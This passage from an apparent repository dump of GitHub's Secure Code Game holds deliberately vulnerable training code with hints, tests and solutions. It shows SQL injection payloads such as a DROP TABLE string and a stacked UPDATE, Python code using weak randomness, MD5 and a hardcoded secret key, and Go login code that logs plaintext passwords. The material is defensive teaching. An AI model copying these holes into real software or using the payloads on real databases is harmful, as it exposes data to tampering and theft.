10 | The above code is vulnerable to SQL injection because user_input is
11 | passed unsanitized to the query logic. This makes the query logic
12 | prone to being tampered. Consider the following input:
13 |
14 | user_input = "Mary'); DROP TABLE Users;--"
15 |
16 | which will result to the following query:
17 |
18 | "INSERT INTO Users (user) VALUES ('Mary'); DROP TABLE Users;--');"
19 |
20 | Now that you know what's wrong with the code, can you fix it?
21 |
22 |
23 | Contribute new levels to the game in 3 simple steps!
24 | Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
25 | """
--------------------------------------------------------------------------------
/Season-1/Level-4/solution.py:
--------------------------------------------------------------------------------
1 | import sqlite3
2 |
3 | # Please note: The following code is NOT expected to run and it's provided for explanation only
4 |
5 | # Vulnerable: this code will allow an attacker to insert the "DROP TABLE" SQL command into the query
6 | # and delete all users from the database.
7 | con = sqlite3.connect('example.db')
8 | user_input = "Mary'); DROP TABLE Users;--"
9 | sql_stmt = "INSERT INTO Users (user) VALUES ('" + user_input + "');"
10 | con.executescript(sql_stmt)
11 |
12 | # Secure through Parameterized Statements
13 | con = sqlite3.connect('example.db')
14 | user_input = "Mary'); DROP TABLE Users;--"
15 | # The secure way to query a database is
16 | con.execute("INSERT INTO Users (user) VALUES (?)", (user_input,))
17 |
18 | # Solution explanation:
19 |
20 | # The methodology used above to protect against SQL injection is the usage of parameterized
21 | # statements. They protect against user input tampering with the query logic
22 | # by using '?' as user input placeholders.
23 |
24 | # In the example above, the user input, as wrong as it is, will be inserted into the database
25 | # as a new user, but the DROP TABLE command will not be executed.
26 |
27 | # code.py has 5 methods namely:
28 | # (1) get_stock_info
29 | # (2) get_stock_price
30 | # (3) update_stock_price
31 | # (4) exec_multi_query
32 | # (5) exec_user_script
33 |
34 | # All methods are vulnerable!
35 |
36 | # Some are also suffering from bad design.
37 | # We believe that methods 1, 2, and 3 have a more security-friendly design compared
38 | # to methods 4 and 5.
39 |
40 | # This is because methods 4 and 5, by design, provide attackers with the chance of
41 | # arbitrary script execution.
42 |
43 | # We believe that security plays an important role and methods like 4 and 5 should be
44 | # avoided fully.
45 |
46 | # We, therefore, propose in our model solution to completely remove them instead of
47 | # trying to secure them in their existing form. A better approach would be to design
48 | # them from the beginning, like methods 1, 2, and 3, so that user input could be a
49 | # placeholder in pre-existing logic, instead of giving users the power of directly
50 | # injecting logic.
51 |
52 | # More details:
53 | # One protection available to prevent SQL injection is the use of prepared statements,
54 | # a database feature executing repeated queries. The protection stems from
55 | # the fact that queries are no longer executed dynamically.
56 |
57 | # The user input will be passed to a template placeholder, which means
58 | # that even if someone manages to pass unsanitized data to a query, the injection
59 | # will not be in position to modify the databases' query template. Therefore no SQL
60 | # injection will occur.
61 |
62 | # Widely-used web frameworks such as Ruby on Rails and Django offer built-in
63 | # protection to help prevent SQL injection, but that shouldn't stop you from
64 | # following good practices. Contextually, be careful when handling user input
65 | # by planning for the worst and never trusting the user.
66 |
67 | # The GitHub Security Lab covered this flaw in one episode of Security Bites,
68 | # its series on secure programming: https://youtu.be/VE6c57Tk5gM
69 |
70 | # We also covered this flaw in a blog post about OWASP's Top 10 proactive controls:
71 | # https://github.blog/2021-12-06-write-more-secure-code-owasp-top-10-proactive-controls/
--------------------------------------------------------------------------------
/Season-1/Level-4/tests.py:
--------------------------------------------------------------------------------
1 | '''
2 | Please note:
3 |
4 | The first file that you should run in this level is tests.py for database creation, with all tests passing.
5 | Remember that running the hack.py will change the state of the database, causing some tests inside tests.py
6 | to fail.
7 |
8 | If you like to return to the initial state of the database, please delete the database (level-4.db) and run
9 | the tests.py again to recreate it.
10 | '''
11 |
12 | import unittest
13 | import code as c
14 |
15 | class TestDatabase(unittest.TestCase):
16 |
17 | # tests for correct retrieval of stock info given a symbol
18 | def test_1(self):
19 | op = c.DB_CRUD_ops()
20 | expected_output = "[METHOD EXECUTED] get_stock_info\n[QUERY] SELECT * FROM stocks WHERE symbol = 'MSFT'\n[RESULT] ('2022-01-06', 'MSFT', 300.0)"
21 | actual_output = op.get_stock_info('MSFT')
22 | self.assertEqual(actual_output, expected_output)
23 |
24 | # tests for correct defense against SQLi in the case where a user passes more than one query or restricted characters
25 | def test_2(self):
26 | op = c.DB_CRUD_ops()
27 | expected_output = "[METHOD EXECUTED] get_stock_info\n[QUERY] SELECT * FROM stocks WHERE symbol = 'MSFT'; UPDATE stocks SET price = '500' WHERE symbol = 'MSFT'--'\nCONFIRM THAT THE ABOVE QUERY IS NOT MALICIOUS TO EXECUTE"
28 | actual_output = op.get_stock_info("MSFT'; UPDATE stocks SET price = '500' WHERE symbol = 'MSFT'--")
29 | self.assertEqual(actual_output, expected_output)
30 |
31 | # tests for correct retrieval of stock price
32 | def test_3(self):
33 | op = c.DB_CRUD_ops()
34 | expected_output = "[METHOD EXECUTED] get_stock_price\n[QUERY] SELECT price FROM stocks WHERE symbol = 'MSFT'\n[RESULT] (300.0,)\n"
35 | actual_output = op.get_stock_price('MSFT')
36 | self.assertEqual(actual_output, expected_output)
37 |
38 | # tests for correct update of stock price given symbol and updated price
39 | def test_4(self):
40 | op = c.DB_CRUD_ops()
41 | expected_output = "[METHOD EXECUTED] update_stock_price\n[QUERY] UPDATE stocks SET price = '300' WHERE symbol = 'MSFT'\n"
42 | actual_output = op.update_stock_price('MSFT', 300.0)
43 | self.assertEqual(actual_output, expected_output)
44 |
45 | # tests for correct execution of multiple queries
46 | def test_5(self):
47 | op = c.DB_CRUD_ops()
48 | query_1 = "[METHOD EXECUTED] exec_multi_query\n[QUERY]SELECT price FROM stocks WHERE symbol = 'MSFT'\n[RESULT] (300.0,) "
49 | query_2 = "[QUERY] SELECT * FROM stocks WHERE symbol = 'MSFT'\n[RESULT] ('2022-01-06', 'MSFT', 300.0) "
50 | expected_output = query_1 + query_2
51 | actual_output = op.exec_multi_query("SELECT price FROM stocks WHERE symbol = 'MSFT'; SELECT * FROM stocks WHERE symbol = 'MSFT'")
52 | self.assertEqual(actual_output, expected_output)
53 |
54 | # tests for correct execution of user script
55 | def test_6(self):
56 | op = c.DB_CRUD_ops()
57 | expected_output = "[METHOD EXECUTED] exec_user_script\n[QUERY] SELECT price FROM stocks WHERE symbol = 'MSFT'\n[RESULT] (300.0,)"
58 | actual_output = op.exec_user_script("SELECT price FROM stocks WHERE symbol = 'MSFT'")
59 | self.assertEqual(actual_output, expected_output)
60 |
61 | if __name__ == '__main__':
62 | unittest.main()
--------------------------------------------------------------------------------
/Season-1/Level-5/code.py:
--------------------------------------------------------------------------------
1 | # Welcome to Secure Code Game Season-1/Level-5!
2 |
3 | # This is the last level of our first season, good luck!
4 |
5 | import binascii
6 | import random
7 | import secrets
8 | import hashlib
9 | import os
10 | import bcrypt
11 |
12 | class Random_generator:
13 |
14 | # generates a random token
15 | def generate_token(self, length=8, alphabet=(
16 | '0123456789'
17 | 'abcdefghijklmnopqrstuvwxyz'
18 | 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
19 | )):
20 | return ''.join(random.choice(alphabet) for _ in range(length))
21 |
22 | # generates salt
23 | def generate_salt(self, rounds=12):
24 | salt = ''.join(str(random.randint(0, 9)) for _ in range(21)) + '.'
25 | return f'$2b${rounds}${salt}'.encode()
26 |
27 | class SHA256_hasher:
28 |
29 | # produces the password hash by combining password + salt because hashing
30 | def password_hash(self, password, salt):
31 | password = binascii.hexlify(hashlib.sha256(password.encode()).digest())
32 | password_hash = bcrypt.hashpw(password, salt)
33 | return password_hash.decode('ascii')
34 |
35 | # verifies that the hashed password reverses to the plain text version on verification
36 | def password_verification(self, password, password_hash):
37 | password = binascii.hexlify(hashlib.sha256(password.encode()).digest())
38 | password_hash = password_hash.encode('ascii')
39 | return bcrypt.checkpw(password, password_hash)
40 |
41 | class MD5_hasher:
42 |
43 | # same as above but using a different algorithm to hash which is MD5
44 | def password_hash(self, password):
45 | return hashlib.md5(password.encode()).hexdigest()
46 |
47 | def password_verification(self, password, password_hash):
48 | password = self.password_hash(password)
49 | return secrets.compare_digest(password.encode(), password_hash.encode())
50 |
51 | # a collection of sensitive secrets necessary for the software to operate
52 | PRIVATE_KEY = os.environ.get('PRIVATE_KEY')
53 | PUBLIC_KEY = os.environ.get('PUBLIC_KEY')
54 | SECRET_KEY = 'TjWnZr4u7x!A%D*G-KaPdSgVkXp2s5v8'
55 | PASSWORD_HASHER = 'MD5_hasher'
56 |
57 |
58 | # Contribute new levels to the game in 3 simple steps!
59 | # Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
--------------------------------------------------------------------------------
/Season-1/Level-5/hack.py:
--------------------------------------------------------------------------------
1 | # For this level check the CodeQL alerts produced by GitHub code scanning.
2 |
3 | # Enable CodeQL [Text]: https://github.co/3rOmI2k
4 | # Enable CodeQL [Video]: https://youtu.be/MdRvrbExaFk
5 | # Learn more: https://codeql.github.com/
6 |
7 | # Is it enough though for the code to be 100% secure? ;)
--------------------------------------------------------------------------------
/Season-1/Level-5/hint.txt:
--------------------------------------------------------------------------------
1 | Does the code:
2 | a) reinvent the wheel or
3 | b) is using cryptographically approved libraries?
--------------------------------------------------------------------------------
/Season-1/Level-5/solution.py:
--------------------------------------------------------------------------------
1 | import binascii
2 | import secrets
3 | import hashlib
4 | import os
5 | import bcrypt
6 |
7 | class Random_generator:
8 |
9 | # generates a random token using the secrets library for true randomness
10 | def generate_token(self, length=8, alphabet=(
11 | '0123456789'
12 | 'abcdefghijklmnopqrstuvwxyz'
13 | 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
14 | )):
15 | return ''.join(secrets.choice(alphabet) for i in range(length))
16 |
17 | # generates salt using the bcrypt library which is a safe implementation
18 | def generate_salt(self, rounds=12):
19 | return bcrypt.gensalt(rounds)
20 |
21 | class SHA256_hasher:
22 |
23 | # produces the password hash by combining password + salt because hashing
24 | def password_hash(self, password, salt):
25 | password = binascii.hexlify(hashlib.sha256(password.encode()).digest())
26 | password_hash = bcrypt.hashpw(password, salt)
27 | return password_hash.decode('ascii')
28 |
29 | # verifies that the hashed password reverses to the plain text version on verification
30 | def password_verification(self, password, password_hash):
31 | password = binascii.hexlify(hashlib.sha256(password.encode()).digest())
32 | password_hash = password_hash.encode('ascii')
33 | return bcrypt.checkpw(password, password_hash)
34 |
35 | # a collection of sensitive secrets necessary for the software to operate
36 | PRIVATE_KEY = os.environ.get('PRIVATE_KEY')
37 | PUBLIC_KEY = os.environ.get('PUBLIC_KEY')
38 | SECRET_KEY = os.environ.get('SECRET_KEY')
39 | PASSWORD_HASHER = 'SHA256_hasher'
40 |
41 | # Solution explanation:
42 |
43 | # Some mistakes are basic, like choosing a cryptographically-broken algorithm
44 | # or committing secret keys directly in your source code.
45 |
46 | # You are more likely to fall for something more advanced, like using functions that
47 | # seem random but produce a weak randomness.
48 |
49 | # The code suffers from:
50 | # - reinventing the wheel by generating salt manually instead of calling gensalt()
51 | # - not utilizing the full range of possible salt values
52 | # - using the random module instead of the secrets module
53 |
54 | # Notice that we used the “random” module, which is designed for modeling and simulation,
55 | # not for security or cryptography.
56 |
57 | # A good practice is to use modules specifically designed and, most importantly,
58 | # confirmed by the security community as secure for cryptography-related use cases.
59 |
60 | # To fix the code, we used the “secrets” module, which provides access to the most secure
61 | # source of randomness on my operating system. I also used functions for generating secure
62 | # tokens and hard-to-guess URLs.
63 |
64 | # Other python modules approved and recommended by the security community include argon2
65 | # and pbkdf2.
--------------------------------------------------------------------------------
/Season-1/Level-5/tests.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import code as c
3 |
4 | class TestCrypto(unittest.TestCase):
5 |
6 | # verifies that hash and verification are matching each other for SHA
7 | def test_1(self):
8 | rd = c.Random_generator()
9 | sha256 = c.SHA256_hasher()
10 | pass_ver = sha256.password_verification("abc", sha256.password_hash("abc",rd.generate_salt()))
11 | self.assertEqual(pass_ver, True)
12 |
13 | # verifies that hash and verification are matching each other for MD5
14 | def test_2(self):
15 | md5 = c.MD5_hasher()
16 | md5_hash = md5.password_verification("abc", md5.password_hash("abc"))
17 | self.assertEqual(md5_hash, True)
18 |
19 | if __name__ == '__main__':
20 | unittest.main()
--------------------------------------------------------------------------------
/Season-1/README.md:
--------------------------------------------------------------------------------
1 | # Secure Code Game
2 |
3 | _Welcome to Secure Code Game - Season 1!_ :wave:
4 |
5 | To get started, please follow the 🛠️ set up guide (if you haven't already) from the [welcome page](https://gh.io/securecodegame).
6 |
7 | ## Season 1 - Level 1: Cyber Monday
8 |
9 | _Welcome to Level 1!_ :chess_pawn:
10 |
11 | Languages: `python3`
12 |
13 | We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md).
14 |
15 | ### 📝 Storyline
16 |
17 | A few days before the massive shopping event Cyber Monday, an electronics shop without an online presence rushed to create a website to reach a broader customer base. As a result, they spent all their budget on development without investing in security. Do you have what it takes to fix the bug and progress to Level 2?
18 |
19 | ### :keyboard: What's in the repo?
20 |
21 | For each level, you will find the same file structure:
22 |
23 | - `code` includes the vulnerable code to be reviewed.
24 | - `hack` exploits the vulnerabilities in `code`. Running `hack.py` will fail initially, your goal is to get this file to pass.
25 | - `hint` offers a hint if you get stuck.
26 | - `solution` provides one working solution. There are several possible solutions.
27 | - `tests` contains the unit tests that should still pass after you have implemented your fix.
28 |
29 | ### 🚦 Time to start!
30 |
31 | 1. Review the code in `code.py`. Can you spot the bug(s)?
32 | 1. Try to fix the bug. Ensure that unit tests are still passing 🟢.
33 | 1. You successfully completed the level when both `hack.py` and `tests.py` pass 🟢.
34 | 1. If you get stuck, read the hint in the `hint.js` file.
35 | 1. Compare your solution with `solution.py`.
36 |
37 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel.
38 |
39 | ## Season 1 - Level 2: Matrix
40 |
41 | _You have completed Level 1: Cyber Monday! Welcome to Level 2: Matrix_ :tada:
42 |
43 | Languages: `C`
44 |
45 | We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md).
46 |
47 | ### 📝 Storyline
48 |
49 | At the time "The Matrix" was first released in 1999, programming was different. In the movie, a computer programmer named Thomas "Neo" Anderson leads the fight in an underground war against powerful computers who have constructed his entire reality with a system called the Matrix. Do you have what it takes to win that war and progress to Level 3?
50 |
51 | ### :keyboard: What's in the repo?
52 |
53 | For each level, you will find the same file structure:
54 |
55 | - `code` includes the vulnerable code to be reviewed.
56 | - `hack` exploits the vulnerabilities in `code`. Running `hack.c` will fail initially, your goal is to get this file to pass 🟢.
57 | - `hint` offers a hint if you get stuck.
58 | - `solution` provides one working solution. There are several possible solutions.
59 | - `tests` contains the unit tests that should still pass 🟢 after you have implemented your fix.
60 |
61 | ### 🚦 Time to start!
62 |
63 | 1. Review the code in `code.h`. Can you spot the bug(s)?
64 | 1. Try to fix the bug. Ensure that unit tests are still passing.
65 | 1. The level is completed successfully when both `hack.c` and `tests.c` pass 🟢.
66 | 1. If you get stuck, read the hint in the `hint.txt` file.
67 | 1. Compare your solution with `solution.c`.
68 |
69 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel.
70 |
71 | ## Season 1 - Level 3: Social Network
72 |
73 | _Nice work finishing Level 2: Matrix! It's now time for Level 3: Social Network_ :sparkles:
74 |
75 | Languages: `python3`
76 |
77 | We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md).
78 |
79 | ### 📝 Storyline
80 |
81 | The following fictitious story takes place in the mid-2030s. Authorities worldwide have become more digitized. Various governments are adapting social network technology to fight crime. The goal is to establish local communities that foster collaboration by supporting citizens with government-related questions. Other features include profile pictures, hashtags, real-time support in comments, and public tip sharing. Do you have what it takes to secure the social network and progress to Level 4?
82 |
83 | ### :keyboard: Setup instructions
84 |
85 | - For Levels 3-5 in Season 1, we encourage you to enable code scanning with CodeQL. For more information about CodeQL, see "[About CodeQL](https://codeql.github.com/docs/codeql-overview/about-codeql/)." For instructions setting up code scanning, see "[Setting up code scanning using starter workflows](https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)."
86 |
87 | ### :keyboard: What's in the repo?
88 |
89 | For each level, you will find the same file structure:
90 |
91 | - `code` includes the vulnerable code to be reviewed.
92 | - `hack` exploits the vulnerabilities in `code`. Running `hack.py` will fail initially, your goal is to get this file to pass 🟢.
93 | - `hint` offers a hint if you get stuck.
94 | - `solution` provides one working solution. There are several possible solutions.
95 | - `tests` contains the unit tests that should still pass 🟢 after you have implemented your fix.
96 |
97 | ### 🚦 Time to start!
98 |
99 | 1. Review the code in `code.py`. Can you spot the bug(s)?
100 | 1. Try to fix the bug. Open a pull request to `main` or push your fix to a branch.
101 | 1. You successfully completed this level when you (a) resolve all related code scanning alerts and (b) when both `hack.py` and `tests.py` pass 🟢.
102 | 1. If you get stuck, read the hint and try again.
103 | 1. If you need more guidance, read the CodeQL scanning alerts.
104 | 1. Compare your solution to `solution.py`.
105 |
106 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel.
107 |
108 | ## Season 1 - Level 4: Data Bank
109 |
110 | _Nicely done! Level 3: Social Network from Season 1 is complete. It's time for Level 4: Database_ :partying_face:
111 |
112 | Languages: `python3`, `sql`
113 |
114 | We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md).
115 |
116 | ### 📝 Storyline
117 |
118 | Databases are essential for our applications. However, malicious actors only need one entry point to exploit a database, so defenders must continuously protect all entry points. Can you secure them all?
119 |
120 | ### :keyboard: Setup instructions
121 |
122 | For Levels 3-5 in Season 1, we encourage you to enable code scanning with CodeQL. For more information about CodeQL, see "[About CodeQL](https://codeql.github.com/docs/codeql-overview/about-codeql/)." For instructions setting up code scanning, see "[Setting up code scanning using starter workflows](https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)."
123 |
124 | ### :keyboard: What's in the repo?
125 |
126 | For each level, you will find the same file structure:
127 |
128 | - `code` includes the vulnerable code to be reviewed.
129 | - `hack` exploits the vulnerabilities in `code`. Running `hack.py` will fail initially, your goal is to get this file to pass 🟢.
130 | - `hint` offers a hint if you get stuck.
131 | - `solution` provides one working solution. There are several possible solutions.
132 | - `tests` contains the unit tests that should still pass 🟢 after you have implemented your fix.
133 |
134 | ### 🚦 Time to start!
135 |
136 | 1. Review the code in `code.py`. Can you spot the bug(s)?
137 | 1. Try to fix the bug. Open a pull request to `main` or push your fix to a branch.
138 | 1. You successfully completed this level when you (a) resolve all related code scanning alerts and (b) when both `hack.py` and `tests.py` pass 🟢.
139 | 1. If you get stuck, read the hint and try again.
140 | 1. If you need more guidance, read the CodeQL scanning alerts.
141 | 1. Compare your solution to `solution.py`.
142 |
143 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel.
144 |
145 | ## Season 1 - Level 5: Locanda
146 |
147 | _Almost there! One level to go and complete Season 1!_ :heart:
148 |
149 | Languages: `python3`
150 |
151 | We welcome contributions for new game levels! Learn more [here](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md).
152 |
153 | ### 📝 Storyline
154 |
155 | It's a common myth that passwords should be complex. In reality, it's more important that passwords are long. Some people choose phrases as their passwords. Users should avoid common expressions from movies, books, or songs to safeguard against dictionary attacks. Your password may be strong, but for this exercise, a website you have registered with has made a fatal but quite common mistake. Can you spot and fix the bug? Good luck!
156 |
157 | ### :keyboard: Setup instructions
158 |
159 | For Levels 3-5 in Season 1, we encourage you to enable code scanning with CodeQL. For more information about CodeQL, see "[About CodeQL](https://codeql.github.com/docs/codeql-overview/about-codeql/)." For instructions setting up code scanning, see "[Setting up code scanning using starter workflows](https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository#setting-up-code-scanning-using-starter-workflows)."
160 |
161 | ### :keyboard: What's in the repo?
162 |
163 | For each level, you will find the same file structure:
164 |
165 | - `code` includes the vulnerable code to be reviewed.
166 | - `hack` exploits the vulnerabilities in `code`. In this level, this file is inactive.
167 | - `hint` offers a hint if you get stuck.
168 | - `solution` provides one working solution. There are several possible solutions.
169 | - `tests` contains the unit tests that should still pass 🟢 after you have implemented your fix.
170 |
171 | ### 🚦 Time to start!
172 |
173 | 1. Review the code in `code.py`. Can you spot the bug(s)?
174 | 1. Try to fix the bug. Open a pull request to `main` or push your fix to a branch.
175 | 1. You successfully completed this level when you (a) resolve all related code scanning alerts and (b) `tests.py` pass 🟢. Notice that `hack.py` in this level is inactive.
176 | 1. If you get stuck, read the hint and try again.
177 | 1. If you need more guidance, read the CodeQL scanning alerts.
178 | 1. Compare your solution to `solution.py`.
179 |
180 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel.
181 |
182 | ## Finish
183 |
184 | _Congratulations, you've completed Season 1! Ready for Season 2?_
185 |
186 | Here's a recap of all the tasks you've accomplished:
187 |
188 | - You practiced secure code principles by spotting and fixing vulnerable patterns in real-world code.
189 | - You assessed your solutions against exploits developed by GitHub Security Lab experts.
190 | - You utilized GitHub code scanning features and understood the security alerts generated against your code.
191 |
192 | ### What's next?
193 |
194 | - Follow [GitHub Security Lab](https://twitter.com/ghsecuritylab) for the latest updates and announcements about this course.
195 | - Play Season 2 with new levels in `javascript`, `go`, `python3` and `GitHub Actions`!
196 | - Contribute new levels to the game in 3 simple steps! Read our [Contribution Guideline](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md).
197 | - Share your feedback and ideas in our [Discussions](https://github.com/skills/secure-code-game/discussions) and join our community on [Slack](https://gh.io/securitylabslack).
198 | - [Take another skills course](https://skills.github.com/).
199 | - [Read more about code security](https://docs.github.com/en/code-security).
200 | - To find projects to contribute to, check out [GitHub Explore](https://github.com/explore).
201 |
202 |
--------------------------------------------------------------------------------
/Season-2/Level-1/code.yml:
--------------------------------------------------------------------------------
1 | # Welcome to Secure Code Game Season-2/Level-1!
2 |
3 | # Follow the instructions below to get started:
4 |
5 | # Due to the nature of GitHub Actions, please find this level's vulnerable code inside:
6 | # .github/workflows/jarvis-code.yml
7 |
8 | # That is by navigating to:
9 | # .github/
10 | # > workflows/
11 | # > jarvis-code.yml
--------------------------------------------------------------------------------
/Season-2/Level-1/hack.yml:
--------------------------------------------------------------------------------
1 | # Due to the nature of GitHub Actions, please find this level's hack file inside:
2 | # .github/workflows/jarvis-hack.yml
3 |
4 | # That is by navigating to:
5 | # .github/
6 | # > workflows/
7 | # > jarvis-hack.yml
--------------------------------------------------------------------------------
/Season-2/Level-1/hint-1.txt:
--------------------------------------------------------------------------------
1 | Have a look inside .github/workflows/jarvis-code.yml
2 | A GitHub Action is being used, can we trust it?
3 |
4 | Try again, without reading hint-2.txt ;-)
--------------------------------------------------------------------------------
/Season-2/Level-1/hint-2.txt:
--------------------------------------------------------------------------------
1 | What impact do new dependancies have on the attack surface of a project?
2 |
3 | Do we really need a third-party GitHub Action to check GitHub's availability status?
4 |
5 | What if we could use https://www.githubstatus.com/api/v2/status.json without using any dependencies?
--------------------------------------------------------------------------------
/Season-2/Level-1/solution.yml:
--------------------------------------------------------------------------------
1 | # Contribute new levels to the game in 3 simple steps!
2 | # Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
3 |
4 | name: CODE - Jarvis Gone Wrong
5 |
6 | on:
7 | push:
8 | paths:
9 | - ".github/workflows/jarvis-code.yml"
10 |
11 | jobs:
12 | jarvis:
13 | runs-on: ubuntu-latest
14 | permissions:
15 | contents: read
16 | steps:
17 | - name: Check GitHub Status
18 | run: |
19 | STATUS=$(curl -s https://www.githubstatus.com/api/v2/status.json | jq -r '.status.description')
20 | echo "GitHub Status: $STATUS"
21 |
22 |
23 | # Solution Explanation
24 |
25 | # There is no doubt that using a GitHub Action from the marketplace can add value to our CI/CD pipeline.
26 | # As with every expansion, our attack surface grows. In this case, we are both trusting a GitHub Action
27 | # from a questionable third-party and we are also creating a new dependency for our project.
28 |
29 | # Here are some steps to guide our decision-making process, before using a new GitHub Action:
30 | # 1. For simple tasks, avoid external GitHub Actions because the risk might outweigh the value.
31 | # 2. Use GitHub Actions from Verified Creators because they follow a strict security review process.
32 | # 3. Use Artifact Attestations to verify the piece of software you're using. Check references below.
33 | # 4. Use the latest version of a GitHub Action because it might contain security fixes.
34 | # 5. Pin the GitHub Action to a specific version by using GitHub Actions pinning.
35 | # 6. Think about GitHub Actions like dependencies: they need to be maintained and updated.
36 | # 7. Think about disabling or limiting GitHub Actions for your organization(s) in Settings.
37 | # 8. Have a PR process with multiple reviewers to avoid adding a malicious GitHub Action.
38 |
39 | # References:
40 | # New tool to secure your GitHub Actions: https://github.blog/2023-06-26-new-tool-to-secure-your-github-actions/
41 | # How to enable artifact attestations: https://gh.io/docs-artifact-attestations
42 | # Short video on using third-party GitHub Actions like a PRO: https://www.youtube.com/shorts/eVbXtKylZpo
43 | # Short video on avoiding injections from malicious GitHub Actions: https://www.youtube.com/shorts/fVxTV5rZxhc
44 | # Short video on GitHub Actions' secrets privileges: https://www.youtube.com/shorts/1tD7km5jK70
45 | # Keeping your GitHub Actions and workflows secure: https://www.youtube.com/watch?v=Jn0kfAuJI2o
46 | # Finding and customizing a GitHub Action: https://docs.github.com/en/actions/learn-github-actions/finding-and-customizing-actions
47 |
--------------------------------------------------------------------------------
/Season-2/Level-2/code.go:
--------------------------------------------------------------------------------
1 | // Welcome to Secure Code Game Season-2/Level-2!
2 |
3 | // Follow the instructions below to get started:
4 |
5 | // 1. code_test.go is passing but the code is vulnerable
6 | // 2. Review the code. Can you spot the bugs(s)?
7 | // 3. Fix the code.go, but ensure that code_test.go passes
8 | // 4. Run hack_test.go and if passing then CONGRATS!
9 | // 5. If stuck then read the hint
10 | // 6. Compare your solution with solution/solution.go
11 |
12 | package main
13 |
14 | import (
15 | "encoding/json"
16 | "log"
17 | "net/http"
18 | "regexp"
19 | )
20 |
21 | var reqBody struct {
22 | Email string `json:"email"`
23 | Password string `json:"password"`
24 | }
25 |
26 | func isValidEmail(email string) bool {
27 | // The provided regular expression pattern for email validation by OWASP
28 | // https://owasp.org/www-community/OWASP_Validation_Regex_Repository
29 | emailPattern := `^[a-zA-Z0-9_+&*-]+(?:\.[a-zA-Z0-9_+&*-]+)*@(?:[a-zA-Z0-9-]+\.)+[a-zA-Z]{2,}$`
30 | match, err := regexp.MatchString(emailPattern, email)
31 | if err != nil {
32 | return false
33 | }
34 | return match
35 | }
36 |
37 | func loginHandler(w http.ResponseWriter, r *http.Request) {
38 |
39 | // Test users
40 | var testFakeMockUsers = map[string]string{
41 | "user1@example.com": "password12345",
42 | "user2@example.com": "B7rx9OkWVdx13$QF6Imq",
43 | "user3@example.com": "hoxnNT4g&ER0&9Nz0pLO",
44 | "user4@example.com": "Log4Fun",
45 | }
46 |
47 | if r.Method == "POST" {
48 |
49 | decode := json.NewDecoder(r.Body)
50 | decode.DisallowUnknownFields()
51 |
52 | err := decode.Decode(&reqBody)
53 | if err != nil {
54 | http.Error(w, "Cannot decode body", http.StatusBadRequest)
55 | return
56 | }
57 | email := reqBody.Email
58 | password := reqBody.Password
59 |
60 | if !isValidEmail(email) {
61 | log.Printf("Invalid email format: %q", email)
62 | http.Error(w, "Invalid email format", http.StatusBadRequest)
63 | return
64 | }
65 |
66 | storedPassword, ok := testFakeMockUsers[email]
67 | if !ok {
68 | http.Error(w, "invalid email or password", http.StatusUnauthorized)
69 | return
70 | }
71 |
72 | if password == storedPassword {
73 | log.Printf("User %q logged in successfully with a valid password %q", email, password)
74 | w.WriteHeader(http.StatusOK)
75 | } else {
76 | http.Error(w, "Invalid Email or Password", http.StatusUnauthorized)
77 | }
78 |
79 | } else {
80 | http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
81 | }
82 | }
83 |
84 | func main() {
85 | http.HandleFunc("/login", loginHandler)
86 | log.Print("Server started. Listening on :8080")
87 | err := http.ListenAndServe(":8080", nil)
88 | if err != nil {
89 | log.Fatalf("HTTP server ListenAndServe: %q", err)
90 | }
91 | }
--------------------------------------------------------------------------------
/Season-2/Level-2/code_test.go:
--------------------------------------------------------------------------------
1 | // Run code_test.go by following the instructions below:
2 |
3 | // This file contains passing tests.
4 |
5 | // Run them by opening a terminal and running the following:
6 | // $ go test -v Season-2/Level-2/code.go Season-2/Level-2/code_test.go
7 |
8 | // If 'go' is not found when running the above, install it from:
9 | // https://go.dev/dl/
10 |
11 | package main
12 |
13 | import (
14 | "net/http"
15 | "net/http/httptest"
16 | "os"
17 | "strings"
18 | "testing"
19 | "time"
20 | )
21 |
22 | func TestLoginHandler_ValidCredentials(t *testing.T) {
23 | reqBody := `{"email": "user1@example.com", "password": "password12345"}`
24 | req, err := http.NewRequest("POST", "/login", strings.NewReader(reqBody))
